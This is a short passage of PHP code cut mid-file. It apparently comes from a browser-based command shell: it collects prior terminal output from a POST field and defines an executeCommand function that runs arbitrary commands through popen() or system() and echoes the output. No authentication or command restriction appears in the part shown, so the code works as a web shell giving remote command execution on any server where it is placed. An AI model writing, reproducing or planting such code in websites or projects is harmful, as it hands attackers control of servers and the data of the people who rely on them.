> " . REQUEST_COMMAND . "\n\n" . $strContentOfCommand; $lastScreen = ''; if (isset($_POST['last_input']) && strlen($_POST['last_input'])) { $lastScreen = str_replace("\r\n", "\n", $_POST['last_input']); if (IS_MAGIC_QUOTE) { $lastScreen = stripslashes($lastScreen); } $lastScreen = html_entity_decode($lastScreen); $arrLines = explode("\n", $lastScreen); # $arrLines = array_slice($arrLines, -4); $strContentOfCommand = implode("\n", $arrLines) . "\n" . $strContentOfCommand; } } function executeCommand($cmd) { if (1) { $fp = popen($cmd, "r"); $cont = ''; while (!feof($fp)) { $cont .= fread($fp, 1024); } echo $cont; } else { system($cmd); # exec(REQUEST_COMMAND); } } ?>